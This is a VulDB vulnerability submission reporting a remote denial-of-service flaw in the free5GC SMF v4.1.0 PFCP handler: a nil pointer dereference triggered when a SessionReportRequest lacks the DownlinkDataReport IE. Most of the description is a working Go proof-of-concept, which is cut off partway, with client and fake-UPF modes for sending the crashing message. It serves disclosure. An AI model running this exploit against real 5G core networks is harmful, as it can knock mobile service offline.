Submit #739654: free5gc SMF v4.1.0 Denial of Serviceinfo

Titlefree5gc SMF v4.1.0 Denial of Service
Description## Bug Decription The free5GC SMF can be crashed remotely by a malformed PFCP SessionReportRequest in which ReportType has the DLDR (Downlink Data Report) flag set, but the message omits the DownlinkDataReport IE. In github.com/free5gc/smf/internal/pfcp/handler.HandlePfcpSessionReportRequest (around handler.go:135), the handler accesses fields under req.DownlinkDataReport without a nil check. When DownlinkDataReport is absent, SMF triggers a nil pointer dereference and panics, terminating the SMF process (remote DoS). The handler is dispatched in a goroutine (udp.go:71) without panic recovery, so the panic brings down the whole process. ### Credit Ziyu Lin, Xiaofeng Wang, Wei Dong (Nanyang Technological University) ### CVSS3.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H ## To Reproduce Steps to reproduce the behavior: 1) Start fake UPF mode: code ```go // Vuln-PA2-03: SMF Nil Pointer Dereference via Missing DownlinkDataReport // Target: free5gc SMF // Impact: Denial of Service - SMF process crash // // Vulnerability: When SessionReportRequest has ReportType.Dldr=true but // DownlinkDataReport IE is missing, handler.go:135 accesses // downlinkDataReport.DownlinkDataServiceInformation causing nil deref. package main import ( "encoding/binary" "flag" "fmt" "log" "net" "time" "github.com/wmnsk/go-pfcp/ie" "github.com/wmnsk/go-pfcp/message" ) func main() { mode := flag.String("mode", "client", "Mode: client or fake-upf") targetIP := flag.String("target", "127.0.0.1", "Target SMF IP address (client mode)") targetPort := flag.Int("port", 8805, "Target SMF PFCP port (client mode)") seid := flag.Uint64("seid", 1, "Target session SEID (client mode; must be valid existing session)") listenIP := flag.String("listen", "x.x.x.x", "Listen IP for fake UPF") listenPort := flag.Int("listen-port", 8805, "Listen PFCP port for fake UPF") nodeID := flag.String("node", "10.100.200.2", "Fake UPF NodeID") reportDelay := flag.Duration("report-delay", 0, "Delay before sending SessionReportRequest in fake-upf mode") smfIP := flag.String("smf", "10.100.200.6", "SMF PFCP IP (fake-upf mode)") smfPort := flag.Int("smf-port", 8805, "SMF PFCP port (fake-upf mode)") sendAssoc := flag.Bool("send-assoc", true, "Send AssociationSetupRequest to SMF on startup (fake-upf mode)") flag.Parse() switch *mode { case "client": runClient(*targetIP, *targetPort, *seid) case "fake-upf": runFakeUPF(*listenIP, *listenPort, *nodeID, *reportDelay, *smfIP, *smfPort, *sendAssoc) default: log.Fatalf("[-] Unknown mode: %s", *mode) } } func runClient(targetIP string, targetPort int, seid uint64) { targetAddr := fmt.Sprintf("%s:%d", targetIP, targetPort) log.Printf("[*] Vuln-PA2-03: SMF Nil Pointer Dereference PoC") log.Printf("[*] Target: %s", targetAddr) log.Printf("[*] Attack: SessionReportRequest with ReportType.Dldr=true but no DownlinkDataReport") log.Printf("[*] SEID: %d (0x%x)", seid, seid) raddr, err := net.ResolveUDPAddr("udp", targetAddr) if err != nil { log.Fatalf("[-] Failed to resolve target address: %v", err) } conn, err := net.DialUDP("udp", nil, raddr) if err != nil { log.Fatalf("[-] Failed to create UDP connection: %v", err) } defer conn.Close() log.Printf("[*] Vulnerability: handler.go:133-135") log.Printf("[*] downlinkDataReport := req.DownlinkDataReport") log.Printf("[*] if downlinkDataReport.DownlinkDataServiceInformation != nil { // nil deref!") // Build SessionReportRequest with ReportType.Dldr=true but WITHOUT DownlinkDataReport payload := buildSessionReportRequestDldrNoReport(seid, 1) log.Printf("[*] Sending malicious SessionReportRequest...") log.Printf("[*] Message length: %d bytes", len(payload)) _, err = conn.Write(payload) if err != nil { log.Fatalf("[-] Failed to send message: %v", err) } log.Printf("[+] Message sent successfully") log.Printf("[*] Waiting for crash propagation...") log.Printf("[*] NOTE: Requires session with UpCnxState=DEACTIVATED") time.Sleep(2 * time.Second) probeSmf(conn) } func runFakeUPF(listenIP string, listenPort int, nodeID string, reportDelay time.Duration, smfIP string, smfPort int, sendAssoc bool) { listenAddr := fmt.Sprintf("%s:%d", listenIP, listenPort) laddr, err := net.ResolveUDPAddr("udp", listenAddr) if err != nil { log.Fatalf("[-] Failed to resolve listen address: %v", err) } conn, err := net.ListenUDP("udp", laddr) if err != nil { log.Fatalf("[-] Failed to listen on %s: %v", listenAddr, err) } defer conn.Close() log.Printf("[*] Fake UPF mode: listening on %s", listenAddr) log.Printf("[*] Fake UPF NodeID: %s", nodeID) log.Printf("[*] SMF target: %s:%d", smfIP, smfPort) log.Printf("[*] Waiting for AssociationSetupResponse, SessionEstablishmentRequest, and SessionModificationRequest...") var smfAddr *net.UDPAddr if sendAssoc { target := fmt.Sprintf("%s:%d", smfIP, smfPort) var err error smfAddr, err = net.ResolveUDPAddr("udp", target) if err != nil { log.Fatalf("[-] Failed to resolve SMF address: %v", err) } if err := sendAssociationSetupRequest(conn, smfAddr, nodeID, 1); err != nil { log.Printf("[-] Failed to send AssociationSetupRequest: %v", err) } else { log.Printf("[+] AssociationSetupRequest sent to %s", target) } } buf := make([]byte, 4096) reportSeq := uint32(100) assocDone := false reportPending := false reportSent := false var cpSeid uint64 var smfPeer *net.UDPAddr for { n, raddr, err := conn.ReadFromUDP(buf) if err != nil { log.Printf("[-] Read error: %v", err) continue } msg, err := message.Parse(buf[:n]) if err != nil { log.Printf("[-] Failed to parse PFCP message from %s: %v", raddr, err) continue } switch m := msg.(type) { case *message.AssociationSetupResponse: log.Printf("[+] AssociationSetupResponse from %s (cause=%v)", raddr, m.Cause) assocDone = true case *message.AssociationSetupRequest: reqNodeID := nodeIDFromIE(m.NodeID) log.Printf("[*] AssociationSetupRequest from %s (NodeID: %s)", raddr, reqNodeID) if err := sendAssociationSetupResponse(conn, raddr, nodeID, m.Sequence()); err != nil { log.Printf("[-] Failed to send AssociationSetupResponse: %v", err) } else { log.Printf("[+] AssociationSetupResponse sent") } assocDone = true case *message.SessionEstablishmentRequest: reqNodeID := nodeIDFromIE(m.NodeID) cpSeidFromReq, fseidInfo, ok := cpfSeidFromSessionEstablishment(m) if !ok { log.Printf("[-] SessionEstablishmentRequest missing CPFSEID (NodeID: %s)", reqNodeID) continue } log.Printf("[*] SessionEstablishmentRequest from %s (NodeID: %s)", raddr, reqNodeID) log.Printf("[*] CPFSEID: %d (0x%x) IPv4=%s IPv6=%s", cpSeidFromReq, cpSeidFromReq, ipString(fseidInfo.IPv4Address), ipString(fseidInfo.IPv6Address)) if !assocDone { log.Printf("[!] SessionEstablishmentRequest received before AssociationSetupResponse") } if err := sendSessionEstablishmentResponse(conn, raddr, nodeID, listenIP, cpSeidFromReq, m.Sequence()); err != nil { log.Printf("[-] Failed to send SessionEstablishmentResponse: %v", err) } else { log.Printf("[+] SessionEstablishmentResponse sent") } cpSeid = cpSeidFromReq smfPeer = raddr reportPending = true log.Printf("[*] Report armed: waiting for SessionModificationRequest before sending SessionReportRequest") case *message.SessionModificationRequest: reqSeid := m.SEID() log.Printf("[*] SessionModificationRequest from %s (SEID: %d)", raddr, reqSeid) if err := sendSessionModificationResponse(conn, raddr, reqSeid, m.Sequence()); err != nil { log.Printf("[-] Failed to send SessionModificationResponse: %v", err) } else { log.Printf("[+] SessionModificationResponse sent") } if reportPending && !reportSent && hasBufferedUpdateFAR(m) { if reportDelay > 0 { log.Printf("[*] Waiting %s before sending SessionReportRequest...", reportDelay) time.Sleep(reportDelay) } reportSeq++ reportSeid := cpSeid if reportSeid == 0 { reportSeid = reqSeid log.Printf("[!] CPFSEID not recorded; falling back to SEID from SessionModificationRequest=%d", reportSeid) } peer := raddr if smfPeer != nil { peer = smfPeer } payload := buildSessionReportRequestDldrNoReport(reportSeid, reportSeq) log.Printf("[*] Sending SessionReportRequest (no DownlinkDataReport) to %s", peer) if _, err := conn.WriteToUDP(payload, peer); err != nil { log.Printf("[-] Failed to send SessionReportRequest: %v", err) } else { log.Printf("[+] SessionReportRequest sent") reportSent = true } } else if reportPending && !reportSent { log.Printf("[*] SessionModificationRequest has no UpdateFAR BUFF action; skipping report") } case *message.HeartbeatRequest: if err := sendHeartbeatResponse(conn, raddr, m.Sequence()); err != nil { log.Printf("[-] Failed to send HeartbeatResponse: %v", err) } default: log.Printf("[*] Ignoring %s from %s", msg.MessageTypeName(), raddr) } } } func sendAssociationSetupRequest(conn *net.UDPConn, raddr *net.UDPAddr, nodeID string, seq uint32) error { req := message.NewAssociationSetupRequest( seq, ie.NewNodeIDHeuristic(nodeID), ie.NewRecoveryTimeStamp(time.Now()), ) payload, err := req.Marshal() if err != nil { return err } _, err = conn.WriteToUDP(payload, raddr) return err } func sendAssociationSetupResponse(conn *net.UDPConn, raddr *net.UDPAddr, nodeID string, seq uint32) error { rsp := message.NewAssociationSetupResponse( seq, ie.NewNodeIDHeuristic(nodeID), ie.NewCause(ie.CauseRequestAccepted), ie.NewRecoveryTimeStamp(time.Now()), ) payload, err := rsp.Marshal() if err != nil { return err } _, er
Source⚠️ https://github.com/free5gc/free5gc/issues/805
User
 ZiyuLin (UID 93568)
Submission01/15/2026 09:12 (3 months ago)
Moderation01/30/2026 08:35 (15 days later)
StatusDuplicate
VulDB entry343476 [Free5GC SMF up to 4.1.0 PFCP handler.go HandlePfcpSessionReportRequest denial of service]
Points0

Are you interested in using VulDB?

Download the whitepaper to learn more about our service!